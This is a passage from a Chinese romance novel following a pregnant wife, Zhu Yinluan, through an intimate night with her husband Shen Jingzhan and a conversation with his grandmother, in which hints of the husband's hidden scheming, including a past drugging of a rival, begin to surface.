“不问这个”男人也随着她的话语短暂停顿。 旋即又问,“那鸾儿喜欢吗?” 好啊,他不问人满不满意,反而来问喜不喜欢,这有什么差别啊? 祝吟鸾,“我” 这还不如之前那个呢。 她的面皮子着实太薄了,依旧拒绝回答,接着转移话茬。 “夫君,夜色已深,我们早点歇息对身子骨好,更何况,夫君今儿不是很累了吗?” 沈景湛却道还好,“前些时日中书忙碌,现如今已然能够得些许空子了。” “这些时日我都能够回来陪鸾儿用饭。” 姚太尉的事情都还没有彻底处理完,沈景湛居然就能够得空了? 她总觉得不是那么一回事。 若是能够得空,那些沈家的亲长子侄们定然在饭桌上便说了,纵然是没有在饭桌上当面提起,跟在众人身边的亲眷夫人随从们,肯定也会得到一些风声。 她今儿可没有在妯娌小辈们的口里听到什么风声。 所以,她断定沈景湛很有可能还是忙碌的。 下面的人都忙,他的官位镇在上面,只会更忙。 思来想去,沈景湛非要回来用膳,岂不是蹊跷了? 皇宫到沈家的距离还是有些许远的,来回奔波忙碌。 祝吟鸾脑海当中闪过奉安公主的脸,想到从正厅回来之时发生的事情,奉安公主想要留下她,可是沈景湛不让。 沈景湛似乎不想要她跟奉安公主说一句话,问他过去发生的事情 ,当时也被他含糊转移走了话茬。 他回来陪她用膳,是不是不想要她跟奉安公主接触,见到奉安公主? 祝吟鸾心里忽而冒出这样的想法。 随之而来的是她的好奇,沈景湛是不是隐瞒了什么?他同奉安公主之间好似有不小的过节,奉安公主此人,便是连沈老太太和沈夫人以及沈侯爷都十分敬畏,唯独沈景湛 说起奉安公主对沈景湛的畏惧,她又想起先前在饭桌上,几房大人和夫人们提到提到沈嘉显的事情,对沈景湛的态度,那也是相当畏惧的,甚至畏惧到已经是看着沈景湛的脸色斟酌言语了。 说起来二房的这个沈嘉显,她至今记不得究竟发生了什么事情。 当时被梦境转移了注意力,又发生了一些事情,便没来得及问。 那沈嘉显是犯了什么事情啊? “鸾儿走神,看来是不满意,不喜欢了。” 祝吟鸾意识到是在什么场面,立马就回神,“不” 男人的神色寥落下来,俊逸的面庞之上满是落寞和少见的受伤。 是的受伤的神色。 在这个时候,他也把她的手给放开了。 也把她的手给拿了出来。 所有的旖旎在此刻停止,虽然气氛并没有彻底散尽,但也有片刻的死寂。 祝吟鸾整个人都愣住了。 她看男人侧过去略微绷起来的侧脸,很不确定的在想沈景湛是不是生气了? 他也会生气吗? 应该不会吧?沈景湛一直都是春风和煦,他哪里会生气?她从来没有见过生气,也难以想象沈景湛生气的模样,更别说沈蔻玉曾经说过的沈景湛清冷不苟言笑的模样。 她不相信,故而第一反应是怀疑。 可是眼下看着沈景湛撇脸过去的样子,瞧着又好像是在生气。 男人的样貌本就生得精致俊逸,此刻撇开脸去,只见他的侧颜,越发叫人觉得他的轮廓极好,骨相绝佳,鼻梁高挺,眼睫纤长。 因为他不看她,侧脸别向了旁的地方,眼神也落到了别处,此刻瞧着的确矜贵清冷。 但因为他被“欺负”了,此刻衣襟敞开凌乱,露出冷白漂亮的锁骨,颇有些妖孽。 他的眉心似乎微微蹙起,祝吟鸾在他的怀中身下,看得不太真切。 先是疑问沈景湛是不是生气了,转而又忍不住被他的脸给吸引了。 祝吟鸾还是第一次见此情状。 沈景湛不像是生气,更像是等着她发觉了,然后去哄他。 若是真的生气,恐怕早已经拂袖而去,闹得无比难堪了吧? 只是她要怎么哄他? 她根本就不会。 首先沈景湛是男子,她接触过的男子少之又少,其次她是真的不知道怎么哄,似乎都没有怎么哄过人。 她一向与人为善,很少产生争执,即便是争执,多数是对方在咄咄逼人对着她斥责,譬如在祝家和卫家时,朱夫人和庞氏对着她指手画脚,又比方说,她的长姐祝沉檀,那一位咄咄逼人起来,可是厉害了。 一般她真的哄劝了也无用,便只能默默听着,让她数落爽了,一切就能够结束了。 她所有与人产生争执的经验都在这里。 可她也不是太迟钝的人,自然感觉到若是用置之不理这一招数来应对沈景湛恐怕不管用,别说管不管用了,甚至有可能会适得其反,所以还是不要这么做。 他看起来真的想要她去哄。 思来想去,祝吟鸾最后是动手了。 她动手的一瞬间,留意着她动向的男人的余光自然是察觉到了。 可沈景湛没有想到,祝吟鸾居然抬手将他凌乱的中衣给拉拢好了,动作无比小心翼翼给他拢好,甚至将他的衣襟边沿给抚顺了。 见状,沈景湛气笑了。 即便是笑声很细微,夜深人静的,祝吟鸾自然是听到了,不仅仅是听到了,她的手还没有收回来,依旧是放在男人的心口之上,又怎么会感受不到男人心绪的起伏呢? 她的眼睫在瞬间之内抬起,朝着沈景湛看了过去。 男人脸上的怒容甚至更胜往昔。 祝吟鸾,“” 帮他拉拢衣衫,他还生气了么? 可是很快祝吟鸾又反应过来了。 沈景湛真正生气的缘由不是因为她的走神,而是因为她“摸”他没有说出让他想听的话吧。 他既然都已经表示了想要她摸他,那她这样把衣衫给拉拢上的行径岂不是“火上浇油”了? 可眼下都已经拢好了 又要扯开么? 祝吟鸾等了好一会,她在两者之间挣扎。 抿咬着她的唇,看着男人已经出现了明显怒意的神色。 要置之不理么?反正她都已经拉拢上了沈景湛的衣衫。 若此刻在床榻之上对他不理会,跟他说第二遍歇息的话,沈景湛应该也不会跟她恼怒的吧? 毕竟他的脾性一直都很好。 即便是此刻不悦,明日也不会在人前给她摆脸,让众人看出一点端倪。 所以,她就算是转身睡去,也不会有什么后顾之忧,这一切都源于她相信沈景湛不会欺负她。 即便是没有后顾之忧,祝吟鸾也根本做不到放手。 她不能够仗着沈景湛对她好便有恃无恐,这样也算是“欺负”他了。 之前都表明了两人之间要生儿育女,好好把日子给过下去,既如此她便不能够背过身去不理他。 更何况,这也是第一次? 第一次沈景湛露出那么“新鲜”的神情,他已经在对她袒露“本性”了吧? 所以,祝吟鸾最后还是没有选择背过身去,视而不见让他歇息别闹。 她微微调整了身子,继续窝在他的怀中,比起方才要离他更近了一些。 随着她的靠近,男人脸上的怒气似乎有动容消减的迹象——他的眉梢不易察觉地缓了一些。 祝吟鸾伸手了,这次她不是为了给沈景湛把他的衣衫整理整齐,而是直接动手,穿过他的衣襟拨开。 拨开的弧度很小,但比刚才的整齐都弄乱了一些。 然后,她又把她的手给收回去了。 就这样,不动了。 沈景湛等了一会,她还是不动,就这么看着他,看着他被她扯开的地方。 甚至都不算是扯开,在沈景湛看来。 她就是微微拉开了他的衣衫而已,哪里就能够谈得上是扯开了? 还不如他自己动作了,亦或者翻身了,不小心弄乱衣襟扯开的弧度大。 但清楚她本性的沈景湛很清楚,能够以退为进让她伸出手,做到这一步已经很不错了。 事不宜激进,越是到这个时候越要“慢慢来”。 沈景湛挪眼,视线先是落到她有些飘忽略显紧张的小脸上,然后又落到他被扯开的衣襟口处。 他问她,“鸾儿这是做什么?” “是怕衣襟合拢得太严实,我会喘不过气么?” 祝吟鸾,“” 沈景湛说这句话究竟是故意的,还是因为她拉拢他衣衫的弧度太小,他也没有会过意思,祝吟 鸾都要分不清楚了。 想来想去,她最后又做了一个举动,伸手把沈景湛的衣衫又拉开了一息恶,比起方才还要更明显。 这一次比刚刚更用力,直接露出沈景湛的部分胸膛。 意思足够明显了吧? 祝吟鸾在想。 但若是问她,具体要个什么意思,她自己也分不清楚。 身子骨不稳当,若是暗示得太过分了,沈景湛真的要与她与她行房可怎么办? 虽然她自己也意动了,的确想要跟沈景湛行房,但可不能够乱来。 她越是喜欢与他行鱼水之快的畅意,就越是得要克制。 因为那种感觉实在是太令人难以克制了,脑中放空了之后,身子骨酥软到了极致,春水冲垮春山门,足以叫人“崩溃”。 她觉得怀有身孕承受不了,若是真的出问题,叫太医过来,那她真的要被叫做狐媚子了。 别说旁人在背后议论,她自己都要羞愧难当。 行房总不是一个人的欢愉,沈景湛应该感受和她差不多的吧?否则也不可能每次都把她的腰身还有膝盖都弄脏了。 而且沈景湛是很克制的,他会照顾她的感受。 所以,祝吟鸾觉得他应该也有分寸。 她已经在渐渐信任他了,甚至在没有能够完全“保障”自己的“安全”的情况下去哄他。 “怎么又走神,又不说话了?”男人的语气里都泛着无奈。 祝吟鸾连忙定神,她的眼神四处飘忽抬起来看过去。 对入.男人的眼眸当中,他已经彻底将他的视线给看过来了。 祝吟鸾清咳一声,“我我不是。” 明知故问的男人淡哦一声,“既然不是这样,那又是怎样?” “我我是想” 他很有耐心在等,甚至伸手将她蹭乱的乌发给弄到了后面去,又挑了她的发尾给搅过来,弄在指尖缠绕。 男人漫不经心的样子也有几分勾人心神。 祝吟鸾的视线就这么一直落到他的脸上。 许是被他给勾引到了,她说话也不再那么遮掩,“我是想说,很舒服不是。” 没有完全专注,说话也有些嘴瓢,祝吟鸾连忙改口,“不是我是说满意的,我刚刚很满意。” 她给了他反馈。 这个听起来他应该想要的,喜欢的反馈。 可出了一个“舒服”的岔子,祝吟鸾不想要沈景湛注意,可他就是注意到了。 甚至在她说错的那一瞬间,忍俊不禁挑眉问她,“舒服?” “原来鸾儿满意又舒服,那你为何要隐瞒不跟我说?” 祝吟鸾,“”想说不是,又怕好不容易哄好的男人在这个时候跟她“倔”。 可若是接话,祝吟鸾也不知道应该说些什么为好,索性就不说话,反正整个人的脸已经红透了。 “嗯?鸾儿怎么不说话?”他像是没有明白,非要问。 不仅是问,甚至还要低下头来看着她,凑过来用他的额头抵着她的额头,跟她鼻尖触着鼻尖说话。 散去的旖旎在这三两句的“交锋”当中回温。 祝吟鸾觉得气氛又开始热了。 他的气息分明是清冽的,可打在她脸上的时候让人感受到无尽的强烈。 温热一点点加温起来,她觉得很热。 所以又开始口干舌燥起来了。 祝吟鸾,“” “我你要我跟你说些什么?”她是真的不知道说什么了,干脆反问沈景湛。 他到底要听什么? “我想知道鸾儿说的舒服和满意是什么?” 是什么?祝吟鸾微微错开脸,沈景湛看着她颤抖的睫毛,吹弹可破的面颊。 就是这么即便是室内的光线昏暗,依然能够叫人觉得她的肌肤莹润透亮,甚至还在散发着淡淡的香气。 他给她的香膏,里面所用的香料没有那么浓郁,即便是能够通过肌肤渗透进去,配合燃烧的熏香能够效果拔群。 自从她怀孕之后,这个香料他已经收起来了,没有再给她用了。 现如今她的情动不是因为香,而是真实的反应。 男人眼底的笑意加深。 祝吟鸾摇头,“没、没有什么。” “怎么会没有什么?”他还在追问。 祝吟鸾见他应当算是被她哄好了,于是道,“夫君不困么?” “不怎么困。”沈景湛道,“我喜欢听鸾儿说话。” 他又这样说了。 “说什么?”她决定要将装聋作哑进行到底。 反正他都在明知故问,她为何不可以? “说鸾儿与我亲密时有没有很舒服,摸我的时候有没有很满意。” 祝吟鸾,“” 还真是一如既往的直接,在她的意料之中又在意料之外。 “所以,鸾儿说的舒服和满意是这个意思吗?”他是要打破砂锅问到底了。 祝吟鸾鼓起勇气,“能不能不回。” 真真要明确表示到那个意味,她还是做不到的,可若是扯开话茬歇息,沈景湛恐怕不会善罢甘休。 因为已经两次了。 两次他都扯了回来,最后一句还说什么喜欢听她说话。 祝吟鸾的心口微动的同时还有些许热潮波动。 “好。”他笑,“那我可不可以换一个问题。” 换一个问题? 祝吟鸾在忐忑当中点头应下来。 沈景湛便开始问了,这次他的问题是,“可不可以亲亲鸾儿?” 祝吟鸾,“?” 他亲之前还要特意问问她吗?之前的沈景湛有这样问过吗? 似乎好像是有的。 祝吟鸾回想之前,想到了沈景湛每次要更进一步,他都有特别留意和观察她的反应。 看看她可不可以,能不能够接受,在不排斥的程度之下更进一步。 “可以吗?” 可祝吟鸾还是觉得奇幻,她肚子里面怀着他的孩子,都已经快要到三个月了,他与她亲热之前还是要问一句,可以亲吗? 若是说不可以,沈景湛会怎么样? 会不会如同方才一般生气,然后就不理她,把脸撇到另外一边,同她生气等着她去哄。 祝吟鸾忽然很想这么做,可正准备开口的时候,她觉得这样不太好。 若是这样做的话,她岂不是跟沈景湛一样了。 跟沈景湛一样? 这是祝吟鸾第一反应过来的念头。 是的,就跟沈景湛差不多了,她经常见沈景湛呛人,亦或者故意逗弄她。 有时候她就是能够明确察觉到沈景湛故意逗弄她,这不是错觉。 无形当中,她居然跟沈景湛有些许像了。 这算不算是近朱者赤近墨者黑? 思及此,祝吟鸾整个人的思绪都彻底顿住了。 “鸾儿今日怎么总是走神?”他啧了一声,松开缠绕在指尖的长发,转而去捏她的鼻尖。 “我我就是有点困了,所以才会这样,夫君没有听到太医说,身怀有孕的人总是容易困一些吗?” 她撒谎。 到底困不困沈景湛还是可以看出来的。 男人勾唇笑了一下,“鸾儿既然困了,不如我们亲一会就歇息吧。” 祝吟鸾,“”说什么嘛。 还是要亲一会,甚至都不是亲一下。 他都这样不顾及了,祝吟鸾也没有什么好停留的,她索性反问沈景湛,“若是我说不可以亲,夫君会如何。” 男人嘶了一声,做出思忖状,“那我求鸾儿给我亲一会好不好?” 求她? “你要怎么求我?”她问。 “我给鸾儿捏肩捶腿?”他又问。 原来是这样啊。 祝吟鸾又问,“若是捏肩捶腿都不可以呢?” 无形当中,她又钻到了老狐狸设下的陷阱当中了。 “若是这样都不可以,那鸾儿想要些什么?” 不仅仅是问她想要些什么,沈景湛还罗列了他有的物件东西,“金银财帛,权势地位,鸾儿想要什么?” 男人一本正经思忖询问她的样子,让怔住须臾片刻后回神的祝吟鸾,控制不住笑出声来。 因为他着实思忖得太认真了,很像那种傻乎乎没什么心计的人。 所以,她忍不住笑了一下。 见她展颜,男人挑眉笑,“鸾儿笑了,所以这是准还是不准?” 祝吟鸾反问他,“你作为朝廷命官,二三品大臣,怎么可以用钱财权势贿赂人?这跟那些贪官污吏有何区别?” 她被他诓得话都多了一些。 “嗯。”男人点头,“少夫人教训得是,是我居心不正,不配为官。” 他怎么这样?又说一些令人想笑的话了。 祝吟鸾原本以为沈景湛会讨饶,却没有想到,他居然如此说。 祝吟鸾也配合着他开始演戏,“先前婆母还同我说,夫君刚正不阿,清正廉明,却没有想到你居然居然贿赂我。” “你这样做,岂不是辜负了婆母的信任?” “是我鬼迷心窍,下次再也不敢了。”沈景湛摆出默默听训的神色,很是认真。 难得见他如此。 既然都演到这了,祝吟鸾刻意道,“你说什么,居然还有下次?” “不,没有下一次了。”沈景湛竖 起手,做出发誓的手势,“苍天为鉴,我必聆听教诲,时刻铭记于心。” 祝吟鸾也一本正经,活像是女夫子,“嗯。” “如此甚好。” “嗯,那我们快歇息吧。”她趁热打铁,还故意翻身。 却没有料到,沈景湛捏着她的腰身,“我如此听话,鸾儿就不夸夸我么?” 两人的眼神对视,祝吟鸾知道他想要什么,却还是在装傻,她夸了他,“孺子可教,知错能改,中书大人的前途必定不可限量啊。” 说罢,她真的转身过去要歇息了,却不料男人居然捏着她的面颊,看着她的小脸有一会,直直给吻了下来。 他并没有直接攻入牙关,薄唇贴上樱唇之后,时触时离地亲她。 在在外面辗转了许久,沈景湛察觉到怀中细微的回应,即便是意识到可以,但他还停顿停下来看了看她。 两人的视线在炙热当中无形对上,祝吟鸾看着男人幽深难消的眼眸,微微娇颤,好似被雨水击打的芍药花。 看了有一会,沈景湛便继续了。 这一次他直接撬开了祝吟鸾的牙关,扫过她的贝齿,找到她躲在里侧的芬芳柔软,勾着她出来嬉戏。 祝吟鸾在亲吻当中无形仰着脑袋,因此他吻得很深,怕她仰着脖颈难受,沈景湛整个人往后窜去,大掌抚控她的后颈,掌着她的后脑勺。 另外一只手护着她的腰肢。 两人的接吻声和喘息的声音在幔帐中响起,断断续续,令人耳红心跳不止。 祝吟鸾虽然已经学会了换气,可她还是觉得承受不了,这个吻实在是太缠绵了 她享受和沈景湛的亲吻过程,与他亲吻之时获得愉悦,便回应他。 她的回应令他的追逐越发厉害,在短短的亲吻当中,祝吟鸾感受到她快要被沈景湛给吞吃入腹。 直到他的危险有拔高之势,被她给感受到了,祝吟鸾觉得不能够再继续了。 她张唇退出,拉开与沈景湛之间的距离。 可即便是拉开了两人之间的距离,不免有银丝牵连其中,越发显得暧昧。 更何况,唇上还泛着水泽,两人之间的气息都不平稳。 “” 第67章 第67章她还是太娇了。 沈景湛的眸色深得祝吟鸾不敢与之对视。 她也不敢贸贸然开口说点什么,主要也是因为气息还不平稳,此刻张口,一定会语不成调。 不论说什么,都会尽显暧昧,祝吟鸾很清楚,是在点火。 此刻能够推开沈景湛,他必然也是知道分寸了,知道不宜往下。 男人的大掌从她的后颈往上挪移,在她的侧脸处止不住的摩挲。 他的手指修长如玉,可她的脸比他的手还要白净,此刻染上了红润,胜过最好的脂玉。 他看着她,经年过去,她似乎没有什么变化。 娇颤羞涩一如过往,令人心动迷醉。 沈景湛的手指从她的脸侧摩挲到她唇瓣上,上面的水泽似乎被拂却了,又好像没有。 指腹之下的唇瓣软得不可思议。 不仅仅是触感柔软,亲上去甜得要命。 祝吟鸾察觉到他摩挲的动作越来越慢了,亲密仿佛要卷土重来。 她没有吭声,只是抿唇,下意识啃咬她自己的唇瓣。 沈景湛的拇指掰开她抿咬的唇瓣,清楚看到上面留下的牙印。 “鸾儿怎么总是跟之前一样咬自己,嗯?”他开口,声音暗哑磁沉,久久萦绕耳畔。 “之前?”祝吟鸾疑惑。 沈景湛这句话听起来寻常,可她总觉得什么地方怪怪的? 他说的之前要追溯到什么时候?追溯到两人刚认识,也就是在京城大道撞马车的时候么? 可那会她跟沈景湛也不熟悉,即便是到了刚成亲那一会,她跟沈景湛也不算是太熟,他怎么就知道她有这样的习惯了? 可若是追溯到成亲以后的“之前”,她觉得时日还短。 沈景湛的语气听到人的耳朵里,就好似她跟沈景湛认识了许久,久到多年以前,沈景湛了解她,因为这是她的小习惯。 可是她从来没有见过沈景湛,怎么会? 有片刻的失神,但是祝吟鸾没有说话,因为她的气息并没有彻底平复下来。 她微微拉开两人之间的距离,想要更远一些,却没有想到,沈景湛再次攥着她的腰身,将她整个人就这么往怀里给带去。 瞬间又变得严丝合缝,沈景湛再次吻下来,他的吻断断续续,一会吻她的鼻尖,一会又亲她的眉眼,总之不只是在唇瓣上面停留,也没有撬开她的是牙关深入。 祝吟鸾窝在他的怀里,承受着他断断续续的吻,思绪也被干扰 沈景湛吻得十分温柔,祝吟鸾并不抗拒。 她偶尔回应着沈景湛。 在他的亲吻之下,渐渐睡了过去,呼吸变得无比平稳。 沈景湛摩挲着她的面颊,看着她恬静的睡颜。 她还是太娇了,没有太用力,整个人的唇依然肿了起来。 “” 沈景湛说回来陪祝吟鸾用膳,还真是没有哄她。 接下来几天,他早中晚膳,按着时辰回来,沈家人都意外纷纷。 因为沈景湛回来,那些亲长子侄们也跟着回来了。 祝吟鸾还是之前的意向,她觉得沈景湛似乎有意隔绝她和奉安公主见面亦或者交谈。 因为她发现好几次,她与奉安公主视线相撞,对方总是会对着她笑得意味深长。 对视归对视,却没有被沈景湛发觉,每次沈景湛一看过来,奉安公主的目光会即刻收回,十分太平。 祝吟鸾心中疑云遍布,却找不到什么苗头。 毕竟沈景湛在沈家的日子,奉安公主都没有机会再如第一日那般跟她说话亦或者相处了。 因为沈景湛回来的缘故,有几日,沈老太太都出来用膳了,但是精气神不怎么好。 沈老太太扛不住夏日不仅仅是因为身子骨差,最主要是上了年岁,遭不住暑气了。 祝吟鸾自打有身孕之后,在沈家变得十分“娇贵”,几乎什么事情都不用做,只一味安心养胎。 沈夫人如今连家里的事情都不分给她,先前倒是让她掺和沈蔻玉的婚事,现如今好似怕她累,说什么有奉安公主和施家两姐妹帮着就好,叫她多去陪沈老太太,这边的事情不用盯着了。 沈夫人的决定来得很突然,是在奉安公主来之后改变了主意,其中的缘由已经不言而喻了。 祝吟鸾自然没有异议,只是她忍不住在想,到底是沈夫人的主意,还是沈景湛跟沈夫人说了? 她并没有直接问总感觉,就算是问了沈景湛恐怕也问不出什么,毕竟她也不是没有问过。 她问他和奉安公主之间是出过什么事?反而被他给含糊过去了,后面也就没有再问。 此刻去问,也不知道能不能套出什么消息来。 沈景湛似乎非常防备,若是刨根问底 思来想去,祝吟鸾觉得还是作罢。 不论是沈夫人亦或者沈景湛做的,都没有追问的意义,毕竟都是旧事了,最主要的是,奉安公主与沈景湛不像是有旧情的样子。 奉安公主对沈景湛更像是忌惮。 祝吟鸾好奇的是沈景湛之前做过些什么,居然让天不怕地不怕的奉安公主忌惮。 沈蔻玉很有可能知道这件事情,但最近她心绪不佳,婚期越是近,整个人越是蔫巴巴的,完完全全没有了笑模样。 祝吟鸾不能沾手她的嫁妆筹备了,白日里被沈景湛送来韵梅堂陪沈老太太。 他每日送她来韵梅堂以后才离开,到用膳时分又回来。 祝吟鸾闲着没有事情做,看着沈老太太不舒坦想要帮她推拿揉捏,沈老太太怕累着她,说是不用。 只叫祝吟鸾吃糕点茶果,偶尔让她抄抄佛经,即便是抄佛经,也会十分顾念祝吟鸾的身体,抄一小会,歇息许久。 “闷不闷?”沈老太太问她。 祝吟鸾摇头,“陪伴祖母,心里安静,不觉得闷。” “你这个孩子倒是坐得住。” 平心而论,祝吟鸾的性子的确是恬静美好,比家里多数儿媳孙媳都要强。 沈老太太躺久了身子骨不舒坦,起来翻身原本想下地走走,奈何没有力气。 总觉得晕沉,便让老妈妈多垫了几个鹅绒金丝的软枕,倚靠着床榻,看着祝吟鸾帮她抄写经书。 “还有小半个月便过三月了?”沈老太太瞧着她的肚子。 “是。”祝吟鸾应着她的话。 “你人瘦弱,往日里叫你多吃些总是不肯,如今月份渐渐上去了,看着也没什么变化。”说着说着,沈老太太又问她想吃什么,叫下人做了端上来。 老妈妈在旁边道,“桌上还摆着世子爷从宫内御膳房带的糕点,少夫人吃了好多块了。” 沈老太太随之看去,桌上的糕点的确是御膳房做的,实际上沈景湛几乎每日都带过来,“听澜倒是有心。” 先前还以为这门姻缘不顺遂,没想到竟也平稳,除却祝家那不省心的。 祝家的事情横着没解决,一直被查,卫家闹得满城风雨,如今的名声算是彻底臭了,听说那卫家夫人叫什么氏?瘫痪在床不说,好似没几日了? 这些事情沈老太太没说,怕扰了祝吟鸾的心思,叫她挂怀。 “听着老妈妈说你的口味,似乎很喜欢吃酸的?” 祝吟鸾一顿,她道都吃。 她的饮食,沈夫人派来的人格外留意,也总时不时在她的耳朵里提什么酸的辣的甜的,祝吟鸾知道,沈夫人和沈老太太在惦记男女。 这件事情她和沈景湛说过,沈景湛当时笑着问她,喜欢男孩还是女孩。 祝吟鸾说都喜欢。 沈景湛顺着她的话往下,也说他都喜欢,只要是她生的。 是只喜欢她生的吗?她当时在心中疑问,不料沈景湛仿佛看穿她心中所想,又实实在在说了一句,他喜欢她给他生的孩子。 祝吟鸾当时脸都羞红了,旁边还有小丫鬟,他说话未免也太直白了。 原本想要提之前的事情呛沈景湛,可她怎么都开不了口,催促他快去忙碌。 如今回想起来有些走神,险些把佛经上面的字给誊抄错了。 沈老太太不知道祝吟鸾在想什么,只以为她是累了,连忙叫她休息。 “孙媳不累,只是盯着佛经入迷了。”祝吟鸾连忙解释。 沈老太太叫她要注意身子骨。 旁边的老妈妈跳出来打圆场,说太医讲了祝吟鸾的身子骨很好,没有什么问题。 “没有什么问题就好。”沈老太太就想要抱长房的重孙。 话茬是岔走了,没坐一会,沈老太太问祝吟鸾知不知道祝家的事情? 祝吟鸾一顿,如实摇头,“婆母不让掺和。” “你婆母说得对,祝家是烂摊子,迟早要倾覆,你不掺和是好的。”沈老太太打量她的神色。 看来这位祝大人往日里是待祝吟鸾很差劲了,到现在了,祝吟鸾也没有开口要为他求情的意思,好歹也是生父。 沈老太太虽然意外,但也不责备,祝吟鸾如果婆婆妈妈,妇人之仁,麻烦的是沈家,她懂分寸,沈老太太自然安心。 只是 未免不了的担心。 看着眼下祝家女如此清醒,面对生父都能够干净利落抽身不惹烦乱事。 假以时日若是她知道了沈景湛给卫如琢下药的事情,恐怕有的闹了。 这件事情她似乎的确还不知道吧? 第68章 第68章沈景湛是骗她吗? 瞧着祝吟鸾的样子似乎还是蒙在鼓里的。 思及此,沈老太太始终放不下心。 一想到沈景湛对祝吟鸾无微不至的关怀,又想到他往日在家里的凌厉凶狠。 祝家女对他这一面可曾有过半分知晓? 沈老太太长叹一口气,祝吟鸾留意到,问她怎么了? “您身子骨还是很不舒坦么?”祝吟鸾再次提议帮她按按,说是不劳累。 沈老太太还是不劳动她,只叫一旁的老妈妈过来捶腿。 “你陪我说说话就好了。”沈老太太问她嫁入沈家也有几个月了,觉得如何? “长辈们宽厚,妯娌们亲和,沈家很好。” 沈老太太淡哦一声,转了个弯,“那听澜呢?” “你觉得听澜如何?” “夫君也待我很好。”沈景湛是目前在这世上对她最好的人了。 她的枕边人,她肚子里孩子的父亲,也是她托付的人,怎么不好? 祝吟鸾觉得沈老太太这句话问得很奇怪。 难不成是为了试探她对沈景湛的心意么? “怎么个好法?”沈老太太接着问。 “夫君”祝吟鸾微微思忖,“温和有礼,事无巨细,处处体贴,无微不至。” 沈老太太听到最起初的那四个温和有礼,忍不住挑了一下眉,再听到后面的几句,怕笑出声,抬手让旁边的小丫鬟端上来茶盏,喝茶掩饰。 祝吟鸾认真想了一下,斟酌夸了这么几句,抬头之时,看到沈老太太的脸色似乎有些许不对劲,怎么感觉像是在笑? 但是又很不确定,因为沈老太太端着茶水在喝,根本就瞧不出来。 可是 又是她的错觉么? “祖母,是不是孙媳说错话了?”祝吟鸾试探问道。 沈老太太放下茶盏之时已经遮掩好了情绪。 她道没有。 “只是看你们情意日渐深厚,我问一两句。” 瞧着眼下祝家女还是中意沈景湛的,看起来似乎比刚嫁进来的时候依赖他,但念及祝吟鸾原本的性子,沈老太太还是忍不住多了一句嘴。 帮着沈景湛在祝吟鸾面前说了许多好话,“我这个做祖母的,瞧着听澜也是十分喜欢你。” 沈老太太的话终归是比较婉转,“他对你和别人不一样。” 不一样? 祝吟鸾眉心微动,不由自主想到先前沈蔻玉所说的,她所见到的沈景湛和旁人见到的沈景湛似乎不太一样。 如今沈老太太又这么说。 两人话语的“不一样”是一样的吗? 沈老太太可不是沈蔻玉,祝吟鸾并不敢刨根问底,只是附和着抿出一抹笑容。 她没有问,沈老太太却接着说,“他对你比家里的人都要有耐心,也更温和一些。” “你若是他细心周到,无微不至,似乎对你才这样。” “是吗?”祝吟鸾没忍住疑惑,“夫君对祖母更胜过孙媳。” “先前孙媳去京中的除病斋拿药,意外撞到夫君给您寻医呢,还有之前的戏班子,那班主说夫君给您排了很久的戏,只是当日您病了。”后来就被她捡个空漏。 听着祝吟鸾的话风,似乎是在她还没有嫁入沈家之时发生的事情。 只是去除病斋拿药?排戏? 沈老太太一头雾水很是疑惑,祝吟鸾这话乍听下来,像是奉承讨好。 可是沈老太太也很清 楚她的为人,祝吟鸾若是真的要奉承讨好,也绝对不会说些空话,亦或者胡言乱语。 所以她说的除病斋和戏班,究竟是怎么回事? “祖母,您怎么这样看着孙媳?”祝吟鸾觉得不解。 沈老太太反问,“什么除病斋?戏班子又是怎么回事?” 沈老太太不知道吗? 祝吟鸾同样觉得奇怪了。是不是她说错什么话了? 沈老太太知道祝吟鸾和沈景湛之间不太简单和纯粹,从沈景湛给卫如琢下药这件事情就知道了。 除此之外,沈侯爷前些时日来给沈老太太请安,跟沈老太太说了一些事情,便说他的人察觉到卫家的事情,沈景湛有可能沾手了。 但他做事情非常谨慎,只是找到一些零零散散的蛛丝马迹,所以还不能够直接证明。 当时沈老太太心惊,让沈侯爷多多留意着。 所以在面对祝吟鸾时,说起沈景湛的事情,沈老太太说话也稍微谨慎了一些,主动探听祝吟鸾的话。 又跟她解释道,“我近来身子骨不适,很多事情都记不得了,你且说来我听听。” 听到沈老太太这么说,祝吟鸾只能暂时压下心头的疑虑。 她跟沈老太太说了到底是怎么回事。 “就是之前孙媳去京城的除病斋拿药,偶然遇到夫君,郎中说他也是来为您拿药的,至于那戏班子是孙媳在生辰之日想要去看戏,可排班的人原本说没有空了,后面班主说您当日病了,便把号让给了孙媳。” 沈老太太听罢,愣了一会,她像是在思忖又像是在反问,有这回事情吗? 祝吟鸾渐渐也觉得奇怪,说实话,她来沈家这么久了,沈老太太身份贵重,侯府的人得到圣上器重,沈老太太但凡身子骨不舒坦都是由着太医看顾的。 为何要找外乡来的郎中?那郎中医术若不错的话,为何再也没有来给沈老太太看过病?至少她嫁入沈家以后,就再也没有见过那个郎中了。 祝吟鸾忽而想到这个层面。 实际上,那一次,她也不知道沈景湛去医馆究竟是做什么,碰到的时候他也没有具体说,反而问她是不是身子骨不舒坦。 对了,那一次她还在医馆见到了一个样貌有些许相似沈景湛的人,会不会也是沈家的?当时郎中还称呼他为沈公子。 可沈家的人差不多她都见过了,那人倒是没有碰到,应该不是?京城也不只一个沈家,只是侯府沈家的名声响亮。 祝吟鸾在心里想着,觉得事情有些许对不上。 “哦原来是这么一回事啊。” 祝吟鸾格外隐蔽地留意着沈老太太的反应。 她不像是恍然大悟回神,而是仿佛才知道这件事情。 这医馆的事情存疑,那戏班的事情呢? 祝吟鸾不好再追问,因为沈老太太莫名不接着说了。 她便拐弯抹角,“那戏班曾经给了我一个戏牌,说执有此牌,不必排号,能够直接叫人过来,祖母这些时日闷着,要不要叫人上来看看戏?” 祝吟鸾说这句话也是铤而走险,沈家是什么门第,要看戏都不用排号的,别说什么戏牌了,只需要把名给报上去,戏班子的人怎么可能没有眼力见呢? 沈老太太明显在走神,不知道想什么呢,神色微微心烦意乱,竟没有觉得她这句话有问题。 只随意摆手道不用了,“人多太吵,我就想清净一些,过几日玉儿嫁出去了,家里还有得闹。” “是孙媳思虑不周了。”祝吟鸾面上笑着回话,心里却依然觉得不对劲。 沈老太太不知道医馆就罢了,戏班子的事情她仿佛也是完全不知情。 当时戏曲班主还跟她说沈家的老太太爱听戏呢。 看着沈老太太的样子似乎不想提这件事情了,祝吟鸾很有眼力见,自然不会在这个时候触霉头。 “你考虑周全,只是暑气太盛,我这把老骨头就不折腾了,免得病情加重,玉儿的喜宴出席不了。” “是。”祝吟鸾点头。 这件事情掀过之后,沈老太太没有再跟她说起沈景湛。 